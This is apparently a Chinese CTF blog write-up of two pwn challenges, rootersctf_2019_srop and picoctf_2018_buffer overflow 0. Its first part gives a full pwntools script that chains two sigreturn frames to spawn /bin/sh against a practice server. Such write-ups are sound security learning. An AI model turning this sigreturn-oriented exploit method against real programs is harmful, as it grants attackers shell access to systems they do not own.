本文最后更新于244 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com
1、rootersctf_2019_srop分析


64位NX,运行一下

eee…看看ida吧,不是,这得看看汇编,系统调用

是调用了sys_read,并没有传入参数/bin/sh,之前应该遇到过,srop,利用pwntools,之前是遇到过Sigreturn这个知识的,这里直接用了,第一次调用read来写入/bin/sh,光写入没有用,我们要用调用号15实现调用。/bin/sh可以写在data段,我们看看data段的大小够不够,从0x402000开始,很合适,这道题需要两个frame
我们要构建一个read
read(0,data,0x400)

0x400够够的了,就用0x400吧
frame=SigreturnFrame()
frame.rax=0
frame.rdi=0
frame.rsi=data
frame.rdx=0x400
frame.rip=syscall
frame.rbp=data+0x20#再开辟一个栈,为第二次溢出做准备
第二个
frame=SigreturnFrame()
frame.rax=59
frame.rdi=data
frame.rsi=0
frame.rdx=0
frame.rip=pop_rax
frame.rbp=0
接下来试试能不能拿flag
2、rootersctf_2019_srop实操
from pwn import *
context(arch="amd64",log_level="debug")
p=remote("node5.buuoj.cn",28059)
data=0x0402000
syscall=0x0401033
pop_rax=0x0401032
sys=0x0401046
frame=SigreturnFrame()
frame.rax=0
frame.rdi=0
frame.rsi=data
frame.rdx=0x400
frame.rip=syscall
frame.rbp=data+0x20#再开辟一个栈,为第二次溢出做准备
payload = flat ( [ cyclic(0x88) , pop_rax , 15 , bytes(frame) ] )
p.sendlineafter("Hey, can i get some feedback for the CTF?\n",payload)
payload=[b"/bin/sh\x00", b"a" * 0x20, pop_rax, 0xf]
frame=SigreturnFrame()
frame.rax=59
frame.rdi=data
frame.rsi=0
frame.rdx=0
frame.rip=sys
payload.append(bytes(frame))
#p.recvuntil("Hey, can i get some feedback for the CTF?\n")
p.sendline(flat(payload))
p.interactive()
。。。。磨exp磨了一下午

3、picoctf_2018_buffer overflow 0分析


32位partial relro和NX,运行一下看看

SSH链接,看不太懂,看看ida

明显的打开flag.txt的操作,但是调用了几个东西,挨个儿看看
sigsegv_handler

跟flag有关,但是暂时用不到,看看vuln函数

有明显的溢出迹象。那我们溢出以后用puts来覆盖ret,输出到flag的地址上可不可以呢


4、picoctf_2018_buffer overflow 0输出flag
啊这,不行,只能SSH看一下了

只需要溢出就会输出flag,就是sigsegv_handler里有错误就会打印flag










